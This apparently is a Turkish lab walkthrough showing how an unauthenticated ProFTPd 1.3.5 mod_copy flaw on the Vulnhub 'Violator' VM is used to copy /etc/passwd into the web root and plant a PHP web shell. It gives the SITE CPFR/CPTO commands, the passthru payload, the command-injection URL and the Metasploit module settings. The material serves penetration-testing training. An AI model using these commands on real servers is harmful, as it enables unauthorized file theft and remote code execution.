ProFTPd 1.3.5 Sunucusunda mod_copy modülünün İstismar Edilerek Komut Satırı Erişiminin Elde Edilmesi

Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemin komut satırına erişim sağlanabilir. Bu yazıda, ProFTPd 1.3.5 ile FTP hizmeti veren Violator sanal makinesi üzerindeki uygulama zafiyeti istismar edilerek FTP servisini çalıştıran uygulama kullanıcı hesabının (proftpd) hakları ile dosya okunabilecek ve komut satırı erişimi elde edilecektir.

Yazıda kullanılan Violator sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/violator-1,153/

Violator sanal makinesinde FTP sunucu uygulaması olarak ProFTPd 1.3.5 kullanıldığı görülmektedir.

nmap -Pn -n –open 10.10.2.158 -p21 -sV

 

Bu sürüme ait istismar kodu exploit-db sitesinden elde edilebilir.

https://www.exploit-db.com/exploits/36742/

 

Bu istismara göre; ProFTPd 1.3.5 sürümündeki “mod_copy” modülünün “SITE CPFR” ve “SITE CPTO” komutları yetkisiz kullanıcılar tarafından çalıştırılabilir ve kimlik doğrulamamış olan herhangi bir kullanıcı hedef sunucudaki dosyayı okuyabilir veya dosyaya yazabilir.

Bu sunucuya herhangi bir kullanıcı adı ve parola bilgisi ile bağlantı kurulduğunda çalıştırılabilecek komutlar listelenebilmektedir.

ftp 10.10.2.158
site help

 

Kimlik doğrulamayan kullanıcılar tarafından çalıştırılabilecek olan “SITE” komutlarından “CPFR” ile kurban sistem üzerindeki dosya kopyalanır ve “CPTO” ile belirtilen dizine yapıştırılır.

site CPFR /etc/passwd
site CPTO /var/www/html/passwd_dosyasi
site CPFR /etc/shadow
site CPTO /var/www/html/shadow_dosyasi

 

Not: FTP servisini çalıştıran uygulama kullanıcı hesabının (proftpd) “/var/www/html” klasörüne yazma yetkisi olduğu için okuma yetkisi dahilindeki “/etc/passwd” dosyasını kök web dizinine atabilmiştir. Bunun yanında uygulama kullanıcı hesabının (proftpd) “/etc/shadow” dosyasını okuma yetkisi olmadığı için bu dosya kopyalanamamıştır.

ps -ef | grep proftpd | grep -v grep

 

Sonuç olarak “/var/www/html” klasörüne atılan “/etc/passwd” dosyası okunabilmektedir.

http://10.10.2.158/passwd_dosyasi

 

Benzer olarak hedef sistemde komut enjeksiyonu zafiyetine sebap olabilecek bir dosya oluşturularak disk sistemine kaydedilebilir.

site CPFR /proc/self/cmdline
site CPTO /tmp/<?php passthru($_GET[‘Komut’]);?>
site CPFR /tmp/<?php passthru($_GET[‘Komut’]);?>
site CPTO /var/www/html/erisim.php

 

URL’deki “Komut” parametresindeki komut enjeksiyonu ile işletim sisteminde komut çalıştırılabilmektedir.

echo “…Komut Calistirilabilir…”
uname -a
id
head -5 /etc/passwd

http://10.10.2.158/erisim.php?Komut=echo%20%22…Komut%20Calistirilabilir…%22;uname%20-a;id;head%20-5%20/etc/passwd

 

Aynı işlem Metasploit Framework ile otomatik olarak da gerçekleştirilebilir.

use exploit/unix/ftp/proftpd_modcopy_exec
set RHOST 10.10.2.158
set SITEPATH /var/www/html
show options

 

Modül çalıştırılır.

run
id
hostname
head -5 /etc/passwd
uname -a

 

Kaynak:

Violator vulnhub VM walkthrough

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.